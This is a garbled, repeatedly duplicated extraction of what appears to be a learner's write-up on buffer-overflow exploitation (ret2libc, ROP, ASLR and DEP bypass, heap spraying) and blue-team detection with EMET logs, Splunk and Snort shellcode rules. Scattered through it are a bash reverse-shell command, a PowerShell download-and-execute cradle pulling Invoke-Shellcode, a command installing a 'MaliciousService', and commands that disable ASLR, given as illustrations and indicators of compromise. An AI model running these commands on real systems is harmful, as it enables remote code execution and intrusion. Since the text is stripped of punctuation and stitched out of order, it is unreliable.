start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

